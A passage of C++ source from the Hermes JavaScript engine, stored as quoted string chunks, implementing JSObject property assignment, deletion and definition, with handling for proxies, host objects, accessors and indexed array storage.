name) {\n Handle<StringPrimitive> methodNameHnd =\n runtime->makeHandle(runtime->getStringPrimFromSymbolID(name.get()));\n // If the 'name' property does not exist or is an accessor, we don't display\n // the name.\n NamedPropertyDescriptor desc;\n auto *obj = JSObject::getNamedDescriptor(\n selfHandle, runtime, Predefined::getSymbolID(Predefined::name), desc);\n assert(\n !selfHandle->isProxyObject() &&\n \"raiseErrorForOverridingStaticBuiltin cannot be used with proxy objects\");", " if (!obj || desc.flags.accessor) {\n return runtime->raiseTypeError(\n TwineChar16(\"Attempting to override read-only builtin method '\") +\n TwineChar16(methodNameHnd.get()) + \"'\");\n }", " // Display the name property of the builtin object if it is a string.\n StringPrimitive *objName = dyn_vmcast<StringPrimitive>(\n JSObject::getNamedSlotValue(selfHandle.get(), runtime, desc));\n if (!objName) {\n return runtime->raiseTypeError(\n TwineChar16(\"Attempting to override read-only builtin method '\") +\n TwineChar16(methodNameHnd.get()) + \"'\");\n }", " return runtime->raiseTypeError(\n TwineChar16(\"Attempting to override read-only builtin method '\") +\n TwineChar16(objName) + \".\" + TwineChar16(methodNameHnd.get()) + \"'\");\n}", "CallResult<bool> JSObject::putNamedWithReceiver_RJS(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n SymbolID name,\n Handle<> valueHandle,\n Handle<> receiver,\n PropOpFlags opFlags) {\n NamedPropertyDescriptor desc;", " // Look for the property in this object or along the prototype chain.\n JSObject *propObj = getNamedDescriptor(\n selfHandle,\n runtime,\n name,\n PropertyFlags::defaultNewNamedPropertyFlags(),\n desc);", " // If the property exists (or, we hit a proxy/hostobject on the way\n // up the chain)\n if (propObj) {\n // Get the simple case out of the way: If the property already\n // exists on selfHandle, is not an accessor, selfHandle and\n // receiver are the same, selfHandle is not a host\n // object/proxy/internal setter, and the property is writable,\n // just write into the same slot.", " if (LLVM_LIKELY(\n *selfHandle == propObj &&\n selfHandle.getHermesValue().getRaw() == receiver->getRaw() &&\n !desc.flags.accessor && !desc.flags.internalSetter &&\n !desc.flags.hostObject && !desc.flags.proxyObject &&\n desc.flags.writable)) {\n setNamedSlotValue(\n *selfHandle, runtime, desc, valueHandle.getHermesValue());\n return true;\n }", " if (LLVM_UNLIKELY(desc.flags.accessor)) {\n auto *accessor =\n vmcast<PropertyAccessor>(getNamedSlotValue(propObj, runtime, desc));", " // If it is a read-only accessor, fail.\n if (!accessor->setter) {\n if (opFlags.getThrowOnError()) {\n return runtime->raiseTypeError(\n TwineChar16(\"Cannot assign to property '\") +\n runtime->getIdentifierTable().getStringViewForDev(runtime, name) +\n \"' which has only a getter\");\n }\n return false;\n }", " // Execute the accessor on this object.\n if (accessor->setter.get(runtime)->executeCall1(\n runtime->makeHandle(accessor->setter),\n runtime,\n receiver,\n *valueHandle) == ExecutionStatus::EXCEPTION) {\n return ExecutionStatus::EXCEPTION;\n }\n return true;\n }", " if (LLVM_UNLIKELY(desc.flags.proxyObject)) {\n assert(\n !opFlags.getMustExist() &&\n \"MustExist cannot be used with Proxy objects\");\n CallResult<bool> setRes = JSProxy::setNamed(\n runtime->makeHandle(propObj), runtime, name, valueHandle, receiver);\n if (LLVM_UNLIKELY(setRes == ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }\n if (!*setRes && opFlags.getThrowOnError()) {\n return runtime->raiseTypeError(\n TwineChar16(\"Proxy set returned false for property '\") +\n runtime->getIdentifierTable().getStringView(runtime, name) + \"'\");\n }\n return setRes;\n }", " if (LLVM_UNLIKELY(!desc.flags.writable)) {\n if (desc.flags.staticBuiltin) {\n return raiseErrorForOverridingStaticBuiltin(\n selfHandle, runtime, runtime->makeHandle(name));\n }\n if (opFlags.getThrowOnError()) {\n return runtime->raiseTypeError(\n TwineChar16(\"Cannot assign to read-only property '\") +\n runtime->getIdentifierTable().getStringViewForDev(runtime, name) +\n \"'\");\n }\n return false;\n }", " if (*selfHandle == propObj && desc.flags.internalSetter) {\n return internalSetter(\n selfHandle, runtime, name, desc, valueHandle, opFlags);\n }\n }", " // The property does not exist as an conventional own property on\n // this object.", " MutableHandle<JSObject> receiverHandle{runtime, *selfHandle};\n if (selfHandle.getHermesValue().getRaw() != receiver->getRaw() ||\n receiverHandle->isHostObject() || receiverHandle->isProxyObject()) {\n if (selfHandle.getHermesValue().getRaw() != receiver->getRaw()) {\n receiverHandle = dyn_vmcast<JSObject>(*receiver);\n }\n if (!receiverHandle) {\n return false;\n }", " if (getOwnNamedDescriptor(receiverHandle, runtime, name, desc)) {\n if (LLVM_UNLIKELY(desc.flags.accessor || !desc.flags.writable)) {\n return false;\n }", " assert(\n !receiverHandle->isHostObject() && !receiverHandle->isProxyObject() &&\n \"getOwnNamedDescriptor never sets hostObject or proxyObject flags\");", " setNamedSlotValue(\n *receiverHandle, runtime, desc, valueHandle.getHermesValue());\n return true;\n }", " // Now deal with host and proxy object cases. We need to call\n // getOwnComputedPrimitiveDescriptor because it knows how to call\n // the [[getOwnProperty]] Proxy impl if needed.\n if (LLVM_UNLIKELY(\n receiverHandle->isHostObject() ||\n receiverHandle->isProxyObject())) {\n if (receiverHandle->isHostObject()) {\n return vmcast<HostObject>(receiverHandle.get())\n ->set(name, *valueHandle);\n }\n ComputedPropertyDescriptor desc;\n CallResult<bool> descDefinedRes = getOwnComputedPrimitiveDescriptor(\n receiverHandle,\n runtime,\n name.isUniqued() ? runtime->makeHandle(HermesValue::encodeStringValue(\n runtime->getStringPrimFromSymbolID(name)))\n : runtime->makeHandle(name),\n IgnoreProxy::No,\n desc);\n if (LLVM_UNLIKELY(descDefinedRes == ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }\n DefinePropertyFlags dpf;\n if (*descDefinedRes) {\n dpf.setValue = 1;\n } else {\n dpf = DefinePropertyFlags::getDefaultNewPropertyFlags();\n }\n return JSProxy::defineOwnProperty(\n receiverHandle, runtime, name, dpf, valueHandle, opFlags);\n }\n }", " // Does the caller require it to exist?\n if (LLVM_UNLIKELY(opFlags.getMustExist())) {\n return runtime->raiseReferenceError(\n TwineChar16(\"Property '\") +\n runtime->getIdentifierTable().getStringViewForDev(runtime, name) +\n \"' doesn't exist\");\n }", " // Add a new property.", " return addOwnProperty(\n receiverHandle,\n runtime,\n name,\n DefinePropertyFlags::getDefaultNewPropertyFlags(),\n valueHandle,\n opFlags);\n}", "CallResult<bool> JSObject::putNamedOrIndexed(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n SymbolID name,\n Handle<> valueHandle,\n PropOpFlags opFlags) {\n if (LLVM_UNLIKELY(selfHandle->flags_.indexedStorage)) {\n // Note that getStringView can be satisfied without materializing the\n // Identifier.\n const auto strView =\n runtime->getIdentifierTable().getStringView(runtime, name);\n if (auto nameAsIndex = toArrayIndex(strView)) {\n return putComputed_RJS(\n selfHandle,\n runtime,\n runtime->makeHandle(HermesValue::encodeNumberValue(*nameAsIndex)),\n valueHandle,\n opFlags);\n }\n // Here we have indexed properties but the symbol was not index-like.\n // Fall through to putNamed().\n }\n return putNamed_RJS(selfHandle, runtime, name, valueHandle, opFlags);\n}", "CallResult<bool> JSObject::putComputedWithReceiver_RJS(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n Handle<> nameValHandle,\n Handle<> valueHandle,\n Handle<> receiver,\n PropOpFlags opFlags) {\n assert(\n !opFlags.getMustExist() &&\n \"mustExist flag cannot be used with computed properties\");", " // Try the fast-path first: has \"index-like\" properties, the \"name\"\n // already is a valid integer index, selfHandle and receiver are the\n // same, and it is present in storage.\n if (selfHandle->flags_.fastIndexProperties) {\n if (auto arrayIndex = toArrayIndexFastPath(*nameValHandle)) {\n if (selfHandle.getHermesValue().getRaw() == receiver->getRaw()) {\n if (haveOwnIndexed(selfHandle.get(), runtime, *arrayIndex)) {\n auto result =\n setOwnIndexed(selfHandle, runtime, *arrayIndex, valueHandle);\n if (LLVM_UNLIKELY(result == ExecutionStatus::EXCEPTION))\n return ExecutionStatus::EXCEPTION;\n if (LLVM_LIKELY(*result))\n return true;\n if (opFlags.getThrowOnError()) {\n // TODO: better message.\n return runtime->raiseTypeError(\n \"Cannot assign to read-only property\");\n }\n return false;\n }\n }\n }\n }", " // If nameValHandle is an object, we should convert it to string now,\n // because toString may have side-effect, and we want to do this only\n // once.\n auto converted = toPropertyKeyIfObject(runtime, nameValHandle);\n if (LLVM_UNLIKELY(converted == ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }\n auto nameValPrimitiveHandle = *converted;", " ComputedPropertyDescriptor desc;", " // Look for the property in this object or along the prototype chain.\n MutableHandle<JSObject> propObj{runtime};\n if (LLVM_UNLIKELY(\n getComputedPrimitiveDescriptor(\n selfHandle, runtime, nameValPrimitiveHandle, propObj, desc) ==\n ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }", " // If the property exists (or, we hit a proxy/hostobject on the way\n // up the chain)\n if (propObj) {\n // Get the simple case out of the way: If the property already\n // exists on selfHandle, is not an accessor, selfHandle and\n // receiver are the same, selfHandle is not a host\n // object/proxy/internal setter, and the property is writable,\n // just write into the same slot.", " if (LLVM_LIKELY(\n selfHandle == propObj &&\n selfHandle.getHermesValue().getRaw() == receiver->getRaw() &&\n !desc.flags.accessor && !desc.flags.internalSetter &&\n !desc.flags.hostObject && !desc.flags.proxyObject &&\n desc.flags.writable)) {\n if (LLVM_UNLIKELY(\n setComputedSlotValue(selfHandle, runtime, desc, valueHandle) ==\n ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }\n return true;\n }", " // Is it an accessor?\n if (LLVM_UNLIKELY(desc.flags.accessor)) {\n auto *accessor = vmcast<PropertyAccessor>(\n getComputedSlotValue(propObj.get(), runtime, desc));", " // If it is a read-only accessor, fail.\n if (!accessor->setter) {\n if (opFlags.getThrowOnError()) {\n return runtime->raiseTypeErrorForValue(\n \"Cannot assign to property \",\n nameValPrimitiveHandle,\n \" which has only a getter\");\n }\n return false;\n }", " // Execute the accessor on this object.\n if (accessor->setter.get(runtime)->executeCall1(\n runtime->makeHandle(accessor->setter),\n runtime,\n receiver,\n valueHandle.get()) == ExecutionStatus::EXCEPTION) {\n return ExecutionStatus::EXCEPTION;\n }\n return true;\n }", " if (LLVM_UNLIKELY(desc.flags.proxyObject)) {\n assert(\n !opFlags.getMustExist() &&\n \"MustExist cannot be used with Proxy objects\");\n CallResult<Handle<>> key = toPropertyKey(runtime, nameValPrimitiveHandle);\n if (key == ExecutionStatus::EXCEPTION)\n return ExecutionStatus::EXCEPTION;\n CallResult<bool> setRes =\n JSProxy::setComputed(propObj, runtime, *key, valueHandle, receiver);\n if (LLVM_UNLIKELY(setRes == ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }\n if (!*setRes && opFlags.getThrowOnError()) {\n // TODO: better message.\n return runtime->raiseTypeError(\n TwineChar16(\"Proxy trap returned false for property\"));\n }\n return setRes;\n }", " if (LLVM_UNLIKELY(!desc.flags.writable)) {\n if (desc.flags.staticBuiltin) {\n SymbolID id{};\n LAZY_TO_IDENTIFIER(runtime, nameValPrimitiveHandle, id);\n return raiseErrorForOverridingStaticBuiltin(\n selfHandle, runtime, runtime->makeHandle(id));\n }\n if (opFlags.getThrowOnError()) {\n return runtime->raiseTypeErrorForValue(\n \"Cannot assign to read-only property \", nameValPrimitiveHandle, \"\");\n }\n return false;\n }", " if (selfHandle == propObj && desc.flags.internalSetter) {\n SymbolID id{};\n LAZY_TO_IDENTIFIER(runtime, nameValPrimitiveHandle, id);\n return internalSetter(\n selfHandle,\n runtime,\n id,\n desc.castToNamedPropertyDescriptorRef(),\n valueHandle,\n opFlags);\n }\n }", " // The property does not exist as an conventional own property on\n // this object.", " MutableHandle<JSObject> receiverHandle{runtime, *selfHandle};\n if (selfHandle.getHermesValue().getRaw() != receiver->getRaw() ||\n receiverHandle->isHostObject() || receiverHandle->isProxyObject()) {\n if (selfHandle.getHermesValue().getRaw() != receiver->getRaw()) {\n receiverHandle = dyn_vmcast<JSObject>(*receiver);\n }\n if (!receiverHandle) {\n return false;\n }\n CallResult<bool> descDefinedRes = getOwnComputedPrimitiveDescriptor(\n receiverHandle, runtime, nameValPrimitiveHandle, IgnoreProxy::No, desc);\n if (LLVM_UNLIKELY(descDefinedRes == ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }\n DefinePropertyFlags dpf;\n if (*descDefinedRes) {\n if (LLVM_UNLIKELY(desc.flags.accessor || !desc.flags.writable)) {\n return false;\n }", " if (LLVM_LIKELY(\n !desc.flags.internalSetter && !receiverHandle->isHostObject() &&\n !receiverHandle->isProxyObject())) {\n if (LLVM_UNLIKELY(\n setComputedSlotValue(\n receiverHandle, runtime, desc, valueHandle) ==\n ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }\n return true;\n }\n }", " if (LLVM_UNLIKELY(\n desc.flags.internalSetter || receiverHandle->isHostObject() ||\n receiverHandle->isProxyObject())) {\n SymbolID id{};\n LAZY_TO_IDENTIFIER(runtime, nameValPrimitiveHandle, id);\n if (desc.flags.internalSetter) {\n return internalSetter(\n receiverHandle,\n runtime,\n id,\n desc.castToNamedPropertyDescriptorRef(),\n valueHandle,\n opFlags);\n } else if (receiverHandle->isHostObject()) {\n return vmcast<HostObject>(receiverHandle.get())->set(id, *valueHandle);\n }\n assert(\n receiverHandle->isProxyObject() && \"descriptor flags are impossible\");\n if (*descDefinedRes) {\n dpf.setValue = 1;\n } else {\n dpf = DefinePropertyFlags::getDefaultNewPropertyFlags();\n }\n return JSProxy::defineOwnProperty(\n receiverHandle, runtime, id, dpf, valueHandle, opFlags);\n }\n }", " /// Can we add more properties?\n if (LLVM_UNLIKELY(!receiverHandle->isExtensible())) {\n if (opFlags.getThrowOnError()) {\n return runtime->raiseTypeError(\n \"cannot add a new property\"); // TODO: better message.\n }\n return false;\n }", " // If we have indexed storage we must check whether the property is an index,\n // and if it is, store it in indexed storage.\n if (receiverHandle->flags_.indexedStorage) {\n OptValue<uint32_t> arrayIndex;\n MutableHandle<StringPrimitive> strPrim{runtime};\n TO_ARRAY_INDEX(runtime, nameValPrimitiveHandle, strPrim, arrayIndex);\n if (arrayIndex) {\n // Check whether we need to update array's \".length\" property.\n if (auto *array = dyn_vmcast<JSArray>(receiverHandle.get())) {\n if (LLVM_UNLIKELY(*arrayIndex >= JSArray::getLength(array))) {\n auto cr = putNamed_RJS(\n receiverHandle,\n runtime,\n Predefined::getSymbolID(Predefined::length),\n runtime->makeHandle(\n HermesValue::encodeNumberValue(*arrayIndex + 1)),\n opFlags);\n if (LLVM_UNLIKELY(cr == ExecutionStatus::EXCEPTION))\n return ExecutionStatus::EXCEPTION;\n if (LLVM_UNLIKELY(!*cr))\n return false;\n }\n }", " auto result =\n setOwnIndexed(receiverHandle, runtime, *arrayIndex, valueHandle);\n if (LLVM_UNLIKELY(result == ExecutionStatus::EXCEPTION))\n return ExecutionStatus::EXCEPTION;\n if (LLVM_LIKELY(*result))\n return true;", " if (opFlags.getThrowOnError()) {\n // TODO: better message.\n return runtime->raiseTypeError(\"Cannot assign to read-only property\");\n }\n return false;\n }\n }", " SymbolID id{};\n LAZY_TO_IDENTIFIER(runtime, nameValPrimitiveHandle, id);", " // Add a new named property.\n return addOwnProperty(\n receiverHandle,\n runtime,\n id,\n DefinePropertyFlags::getDefaultNewPropertyFlags(),\n valueHandle,\n opFlags);\n}", "CallResult<bool> JSObject::deleteNamed(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n SymbolID name,\n PropOpFlags opFlags) {\n assert(\n !opFlags.getMustExist() && \"mustExist cannot be specified when deleting\");", " // Find the property by name.\n NamedPropertyDescriptor desc;\n auto pos = findProperty(selfHandle, runtime, name, desc);", " // If the property doesn't exist in this object, return success.\n if (!pos) {\n if (LLVM_LIKELY(\n !selfHandle->flags_.lazyObject &&\n !selfHandle->flags_.proxyObject)) {\n return true;\n } else if (selfHandle->flags_.lazyObject) {\n // object is lazy, initialize and read again.\n initializeLazyObject(runtime, selfHandle);\n pos = findProperty(selfHandle, runtime, name, desc);\n if (!pos) // still not there, return true.\n return true;\n } else {\n assert(selfHandle->flags_.proxyObject && \"object flags are impossible\");\n return proxyOpFlags(\n runtime,\n opFlags,\n \"Proxy delete returned false\",\n JSProxy::deleteNamed(selfHandle, runtime, name));\n }\n }\n // If the property isn't configurable, fail.\n if (LLVM_UNLIKELY(!desc.flags.configurable)) {\n if (opFlags.getThrowOnError()) {\n return runtime->raiseTypeError(\n TwineChar16(\"Property '\") +\n runtime->getIdentifierTable().getStringViewForDev(runtime, name) +\n \"' is not configurable\");\n }\n return false;\n }", " // Clear the deleted property value to prevent memory leaks.\n setNamedSlotValue(\n *selfHandle, runtime, desc, HermesValue::encodeEmptyValue());", " // Perform the actual deletion.\n auto newClazz = HiddenClass::deleteProperty(\n runtime->makeHandle(selfHandle->clazz_), runtime, *pos);\n selfHandle->clazz_.set(runtime, *newClazz, &runtime->getHeap());", " return true;\n}", "CallResult<bool> JSObject::deleteComputed(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n Handle<> nameValHandle,\n PropOpFlags opFlags) {\n assert(\n !opFlags.getMustExist() && \"mustExist cannot be specified when deleting\");", " // If nameValHandle is an object, we should convert it to string now,\n // because toString may have side-effect, and we want to do this only\n // once.\n auto converted = toPropertyKeyIfObject(runtime, nameValHandle);\n if (LLVM_UNLIKELY(converted == ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }", " auto nameValPrimitiveHandle = *converted;", " // If the name is a valid integer array index, store it here.\n OptValue<uint32_t> arrayIndex;", " // If we have indexed storage, we must attempt to convert the name to array\n // index, even if the conversion is expensive.\n if (selfHandle->flags_.indexedStorage) {\n MutableHandle<StringPrimitive> strPrim{runtime};\n TO_ARRAY_INDEX(runtime, nameValPrimitiveHandle, strPrim, arrayIndex);\n }", " // Try the fast-path first: the \"name\" is a valid array index and we don't\n // have \"index-like\" named properties.\n if (arrayIndex && selfHandle->flags_.fastIndexProperties) {\n // Delete the indexed property.\n if (deleteOwnIndexed(selfHandle, runtime, *arrayIndex))\n return true;", " // Cannot delete property (for example this may be a typed array).\n if (opFlags.getThrowOnError()) {\n // TODO: better error message.\n return runtime->raiseTypeError(\"Cannot delete property\");\n }\n return false;\n }", " // slow path, check if object is lazy before continuing.\n if (LLVM_UNLIKELY(selfHandle->flags_.lazyObject)) {\n // initialize and try again.\n initializeLazyObject(runtime, selfHandle);\n return deleteComputed(selfHandle, runtime, nameValHandle, opFlags);\n }", " // Convert the string to an SymbolID;\n SymbolID id;\n LAZY_TO_IDENTIFIER(runtime, nameValPrimitiveHandle, id);", " // Find the property by name.\n NamedPropertyDescriptor desc;\n auto pos = findProperty(selfHandle, runtime, id, desc);", " // If the property exists, make sure it is configurable.\n if (pos) {\n // If the property isn't configurable, fail.\n if (LLVM_UNLIKELY(!desc.flags.configurable)) {\n if (opFlags.getThrowOnError()) {\n // TODO: a better message.\n return runtime->raiseTypeError(\"Property is not configurable\");\n }\n return false;\n }\n }", " // At this point we know that the named property either doesn't exist, or\n // is configurable and so can be deleted, or the object is a Proxy.", " // If it is an \"index-like\" property, we must also delete the \"shadow\" indexed\n // property in order to keep Array.length correct.\n if (arrayIndex) {\n if (!deleteOwnIndexed(selfHandle, runtime, *arrayIndex)) {\n // Cannot delete property (for example this may be a typed array).\n if (opFlags.getThrowOnError()) {\n // TODO: better error message.\n return runtime->raiseTypeError(\"Cannot delete property\");\n }\n return false;\n }\n }", " if (pos) {\n // delete the named property (if it exists).\n // Clear the deleted property value to prevent memory leaks.\n setNamedSlotValue(\n *selfHandle, runtime, desc, HermesValue::encodeEmptyValue());", " // Remove the property descriptor.\n auto newClazz = HiddenClass::deleteProperty(\n runtime->makeHandle(selfHandle->clazz_), runtime, *pos);\n selfHandle->clazz_.set(runtime, *newClazz, &runtime->getHeap());\n } else if (LLVM_UNLIKELY(selfHandle->flags_.proxyObject)) {\n CallResult<Handle<>> key = toPropertyKey(runtime, nameValPrimitiveHandle);\n if (key == ExecutionStatus::EXCEPTION)\n return ExecutionStatus::EXCEPTION;\n return proxyOpFlags(\n runtime,\n opFlags,\n \"Proxy delete returned false\",\n JSProxy::deleteComputed(selfHandle, runtime, *key));\n }", " return true;\n}", "CallResult<bool> JSObject::defineOwnProperty(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n SymbolID name,\n DefinePropertyFlags dpFlags,\n Handle<> valueOrAccessor,\n PropOpFlags opFlags) {\n assert(\n !opFlags.getMustExist() && \"cannot use mustExist with defineOwnProperty\");\n assert(\n !(dpFlags.setValue && dpFlags.isAccessor()) &&\n \"Cannot set both value and accessor\");\n assert(\n (dpFlags.setValue || dpFlags.isAccessor() ||\n valueOrAccessor.get().isUndefined()) &&\n \"value must be undefined when all of setValue/setSetter/setGetter are \"\n \"false\");\n#ifndef NDEBUG\n if (dpFlags.isAccessor()) {\n assert(valueOrAccessor.get().isPointer() && \"accessor must be non-empty\");\n assert(\n !dpFlags.setWritable && !dpFlags.writable &&\n \"writable must not be set with accessors\");\n }\n#endif", " // Is it an existing property.\n NamedPropertyDescriptor desc;\n auto pos = findProperty(selfHandle, runtime, name, desc);\n if (pos) {\n return updateOwnProperty(\n selfHandle,\n runtime,\n name,\n *pos,\n desc,\n dpFlags,\n valueOrAccessor,\n opFlags);\n }", " if (LLVM_UNLIKELY(\n selfHandle->flags_.lazyObject || selfHandle->flags_.proxyObject)) {\n if (selfHandle->flags_.proxyObject) {\n return JSProxy::defineOwnProperty(\n selfHandle, runtime, name, dpFlags, valueOrAccessor, opFlags);\n }\n assert(selfHandle->flags_.lazyObject && \"descriptor flags are impossible\");\n // if the property was not found and the object is lazy we need to\n // initialize it and try again.\n JSObject::initializeLazyObject(runtime, selfHandle);\n return defineOwnProperty(\n selfHandle, runtime, name, dpFlags, valueOrAccessor, opFlags);\n }", " return addOwnProperty(\n selfHandle, runtime, name, dpFlags, valueOrAccessor, opFlags);\n}", "ExecutionStatus JSObject::defineNewOwnProperty(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n SymbolID name,\n PropertyFlags propertyFlags,\n Handle<> valueOrAccessor) {\n assert(\n !selfHandle->flags_.proxyObject &&\n \"definedNewOwnProperty cannot be used with proxy objects\");\n assert(\n !(propertyFlags.accessor && !valueOrAccessor.get().isPointer()) &&\n \"accessor must be non-empty\");\n assert(\n !(propertyFlags.accessor && propertyFlags.writable) &&\n \"writable must not be set with accessors\");\n assert(\n !HiddenClass::debugIsPropertyDefined(\n selfHandle->clazz_.get(runtime), runtime, name) &&\n \"new property is already defined\");", " return addOwnPropertyImpl(\n selfHandle, runtime, name, propertyFlags, valueOrAccessor);\n}", "CallResult<bool> JSObject::defineOwnComputedPrimitive(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n Handle<> nameValHandle,\n DefinePropertyFlags dpFlags,\n Handle<> valueOrAccessor,\n PropOpFlags opFlags) {\n assert(\n !nameValHandle->isObject() &&\n \"nameValHandle passed to \"\n \"defineOwnComputedPrimitive() cannot be \"\n \"an object\");\n assert(\n !opFlags.getMustExist() && \"cannot use mustExist with defineOwnProperty\");\n assert(\n !(dpFlags.setValue && dpFlags.isAccessor()) &&\n \"Cannot set both value and accessor\");\n assert(\n (dpFlags.setValue || dpFlags.isAccessor() ||\n valueOrAccessor.get().isUndefined()) &&\n \"value must be undefined when all of setValue/setSetter/setGetter are \"\n \"false\");\n assert(\n !dpFlags.enableInternalSetter &&\n \"Cannot set internalSetter on a computed property\");\n#ifndef NDEBUG\n if (dpFlags.isAccessor()) {\n assert(valueOrAccessor.get().isPointer() && \"accessor must be non-empty\");\n assert(\n !dpFlags.setWritable && !dpFlags.writable &&\n \"writable must not be set with accessors\");\n }\n#endif", " // If the name is a valid integer array index, store it here.\n OptValue<uint32_t> arrayIndex;", " // If we have indexed storage, we must attempt to convert the name to array\n // index, even if the conversion is expensive.\n if (selfHandle->flags_.indexedStorage) {\n MutableHandle<StringPrimitive> strPrim{runtime};\n TO_ARRAY_INDEX(runtime, nameValHandle, strPrim, arrayIndex);\n }", " SymbolID id{};", " // If not storing a property with an array index name, or if we don't have\n // indexed storage, just pass to the named routine.\n if (!arrayIndex) {\n LAZY_TO_IDENTIFIER(runtime, nameValHandle, id);\n return defineOwnProperty(\n selfHandle, runtime, id, dpFlags, valueOrAccessor, opFlags);\n }", " // At this point we know that we have indexed storage and that the property\n // has an index-like name.", " // First check if a named property with the same name exists.\n if (selfHandle->clazz_.get(runtime)->getHasIndexLikeProperties()) {\n LAZY_TO_IDENTIFIER(runtime, nameValHandle, id);", " NamedPropertyDescriptor desc;\n auto pos = findProperty(selfHandle, runtime, id, desc);\n // If we found a named property, update it.\n if (pos) {\n return updateOwnProperty(\n selfHandle,\n runtime,\n id,\n *pos,\n desc,\n dpFlags,\n valueOrAccessor,\n opFlags);\n }\n }", " // Does an indexed property with that index exist?\n auto indexedPropPresent =\n getOwnIndexedPropertyFlags(selfHandle.get(), runtime, *arrayIndex);\n if (indexedPropPresent) {\n // The current value of the property.\n HermesValue curValueOrAccessor =\n getOwnIndexed(selfHandle.get(), runtime, *arrayIndex);", " auto updateStatus = checkPropertyUpdate(\n runtime,\n *indexedPropPresent,\n dpFlags,\n curValueOrAccessor,\n valueOrAccessor,\n opFlags);\n if (updateStatus == ExecutionStatus::EXCEPTION)\n return ExecutionStatus::EXCEPTION;\n if (updateStatus->first == PropertyUpdateStatus::failed)\n return false;", " // The property update is valid, but can the property remain an \"indexed\"\n // property, or do we need to convert it to a named property?\n // If the property flags didn't change, the property remains indexed.\n if (updateStatus->second == *indexedPropPresent) {\n // If the value doesn't change, we are done.\n if (updateStatus->first == PropertyUpdateStatus::done)\n return true;", " // If we successfully updated the value, we are done.\n auto result =\n setOwnIndexed(selfHandle, runtime, *arrayIndex, valueOrAccessor);\n if (LLVM_UNLIKELY(result == ExecutionStatus::EXCEPTION))\n return ExecutionStatus::EXCEPTION;\n if (*result)\n return true;", " if (opFlags.getThrowOnError()) {\n // TODO: better error message.\n return runtime->raiseTypeError(\n \"cannot change read-only property value\");\n }", " return false;\n }", " // OK, we need to convert an indexed property to a named one.", " // Check whether to use the supplied value, or to reuse the old one, as we\n // are simply reconfiguring it.\n MutableHandle<> value{runtime};\n if (dpFlags.setValue || dpFlags.isAccessor()) {\n value = valueOrAccessor.get();\n } else {\n value = curValueOrAccessor;\n }", " // Update dpFlags to match the existing property flags.\n dpFlags.setEnumerable = 1;\n dpFlags.setWritable = 1;\n dpFlags.setConfigurable = 1;\n dpFlags.enumerable = updateStatus->second.enumerable;\n dpFlags.writable = updateStatus->second.writable;\n dpFlags.configurable = updateStatus->second.configurable;", " // Delete the existing indexed property.\n if (!deleteOwnIndexed(selfHandle, runtime, *arrayIndex)) {\n if (opFlags.getThrowOnError()) {\n // TODO: better error message.\n return runtime->raiseTypeError(\"Cannot define property\");\n }\n return false;\n }", " // Add the new named property.\n LAZY_TO_IDENTIFIER(runtime, nameValHandle, id);\n return addOwnProperty(selfHandle, runtime, id, dpFlags, value, opFlags);\n }", " /// Can we add new properties?\n if (!selfHandle->isExtensible()) {\n if (opFlags.getThrowOnError()) {\n return runtime->raiseTypeError(\n \"cannot add a new property\"); // TODO: better message.\n }\n return false;\n }", " // This is a new property with an index-like name.\n // Check whether we need to update array's \".length\" property.\n bool updateLength = false;\n if (auto arrayHandle = Handle<JSArray>::dyn_vmcast(selfHandle)) {\n if (LLVM_UNLIKELY(*arrayIndex >= JSArray::getLength(*arrayHandle))) {\n NamedPropertyDescriptor lengthDesc;\n bool lengthPresent = getOwnNamedDescriptor(\n arrayHandle,\n runtime,\n Predefined::getSymbolID(Predefined::length),\n lengthDesc);\n (void)lengthPresent;\n assert(lengthPresent && \".length must be present in JSArray\");", " if (!lengthDesc.flags.writable) {\n if (opFlags.getThrowOnError()) {\n return runtime->raiseTypeError(\n \"Cannot assign to read-only 'length' property of array\");\n }\n return false;\n }", " updateLength = true;\n }\n }", " bool newIsIndexed = canNewPropertyBeIndexed(dpFlags);\n if (newIsIndexed) {\n auto result = setOwnIndexed(\n selfHandle,\n runtime,\n *arrayIndex,\n dpFlags.setValue ? valueOrAccessor : Runtime::getUndefinedValue());\n if (LLVM_UNLIKELY(result == ExecutionStatus::EXCEPTION))\n return ExecutionStatus::EXCEPTION;\n if (!*result) {\n if (opFlags.getThrowOnError()) {\n // TODO: better error message.\n return runtime->raiseTypeError(\"Cannot define property\");\n }\n return false;\n }\n }", " // If this is an array and we need to update \".length\", do so.\n if (updateLength) {\n // This should always succeed since we are simply enlarging the length.\n auto res = JSArray::setLength(\n Handle<JSArray>::vmcast(selfHandle), runtime, *arrayIndex + 1, opFlags);\n (void)res;\n assert(\n res != ExecutionStatus::EXCEPTION && *res &&\n \"JSArray::setLength() failed unexpectedly\");\n }", " if (newIsIndexed)\n return true;", " // We are adding a new property with an index-like name.\n LAZY_TO_IDENTIFIER(runtime, nameValHandle, id);\n return addOwnProperty(\n selfHandle, runtime, id, dpFlags, valueOrAccessor, opFlags);\n}", "CallResult<bool> JSObject::defineOwnComputed(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n Handle<> nameValHandle,\n DefinePropertyFlags dpFlags,\n Handle<> valueOrAccessor,\n PropOpFlags opFlags) {\n auto converted = toPropertyKeyIfObject(runtime, nameValHandle);\n if (LLVM_UNLIKELY(converted == ExecutionStatus::EXCEPTION))\n return ExecutionStatus::EXCEPTION;\n return defineOwnComputedPrimitive(\n selfHandle, runtime, *converted, dpFlags, valueOrAccessor, opFlags);\n}", "std::string JSObject::getHeuristicTypeName(GC *gc) {\n PointerBase 